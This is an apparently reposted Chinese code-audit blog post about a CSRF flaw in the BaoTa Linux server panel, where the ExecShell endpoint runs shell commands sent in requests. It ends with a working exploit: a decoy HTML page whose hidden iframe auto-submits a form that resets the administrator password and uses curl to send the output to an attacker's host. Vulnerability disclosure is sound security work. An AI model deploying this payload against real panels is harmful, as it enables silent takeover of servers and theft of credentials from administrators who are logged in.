[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

  • A+
所属分类:安全文章

[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

我自己就在用宝塔面板,但是很少看到过宝塔相关的漏洞信息,又担心某一天自己的宝塔面板被攻击了,那就尴尬了.

决定审计一波。

宝塔面板对登录验证的逻辑十分到位,很多操作都需要登录后才能进行,我姿势水平有限.审了半天只审出来一堆CSRF的洞....
下面随便拿一个举个例子....

#files.py lines:922-935

def ExecShell(self,get):

    disabled = ['vi','vim','top','passwd','su']

    get.shell = get.shell.strip()

    tmp = get.shell.split(' ');

    if tmp[0] in disabled: return public.returnMsg(False,'FILE_SHELL_ERR',(tmp[0],));

    shellStr = '''#!/bin/bash

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin

export PATH

cd %s

%s

''' % (get.path,get.shell)

    public.writeFile('/tmp/panelShell.sh',shellStr);

    os.system('nohup bash /tmp/panelShell.sh > /tmp/panelShell.pl 2>&1 &');

    return public.returnMsg(True,'FILE_SHELL_EXEC');

流程分析

我们跟进一下,看一下具体流程


#main.py 

#lines:41

{...

'/files'   , 'panelFiles'

...}

#lines 351-365

class panelFiles(common.panelAdmin):

    def GET(self):

        data = {}

        data['lan'] = public.getLan('files')

        return render.files(data)


    def POST(self):

        import files

        filesObject = files.files()

        defs = ('CheckExistsFiles','GetExecLog','GetSearch','ExecShell','GetExecShellMsg','UploadFile','GetDir','CreateFile','CreateDir','DeleteDir','DeleteFile',

                'CopyFile','CopyDir','MvFile','GetFileBody','SaveFileBody','Zip','UnZip',

                'GetFileAccess','SetFileAccess','GetDirSize','SetBatchData','BatchPaste',

                'DownloadFile','GetTaskSpeed','CloseLogs','InstallSoft','UninstallSoft',

                'RemoveTask','ActionTask','Re_Recycle_bin','Get_Recycle_bin','Del_Recycle_bin','Close_Recycle_bin','Recycle_bin')

        return publicObject(filesObject,defs);


#---一些无关代码---

#lines 940-953

def publicObject(toObject,defs):

    get = web.input(zunfile = {},data = []);

    if hasattr(get,'path'):

            get.path = get.path.replace('//','/').replace('\','/');

            if get.path.find('->') != -1:

                get.path = get.path.split('->')[0].strip();

    for key in defs:

        if key == get.action:

            fun = 'toObject.'+key+'(get)'

            if hasattr(get,'html'):

                return eval(fun)

            else:

                return public.getJson(eval(fun))

    return public.returnJson(False,'ARGS_ERR')

可以看到,宝塔并未对CSRF攻击进行防御,直接将用户请求调用函数执行了..

EXP

就以命令执行修改密码为例

当攻击者构造

<!-- raw.html -->

<html>

<meta charset="UTF-8">

<h1>这是一个测试页面..</h1>

<h2>什么都没有.

<h2>blog:https://www.xxx.com/

<div style="display:none"><iframe src="1.html" style="display:none"></iframe></div>

</html>


<!-- 1.html -->

<meta charset="UTF-8">

<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>

<div id="ss"><form id="form_id" action="http://www.bt.cn:8888/files?action=ExecShell" method="post"><input name="path" value="/www/server/panel" type="hidden"><input value='curl --data "result=`python tools.pyc panel justforfun963.`" http://xss.xxx.com/index.php' name='shell' type="hidden"><input type="submit">

</div>

<script type="text/javascript">

$("#form_id").submit();

</script>


如果管理员登录了宝塔面板,在session失效前打开了攻击者的网页

[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

那么将在他毫不知情的情况下密码被改为 justforfun963.

并将用户名发送给攻击者

如果不能载图请用谷歌浏览器打开,火狐sm.ms的图床会崩掉..


[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP


本文始发于微信公众号(飓风网络安全):[代码审计]宝塔linux面板CSRF命令执行,修改管理员密码,附EXP

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: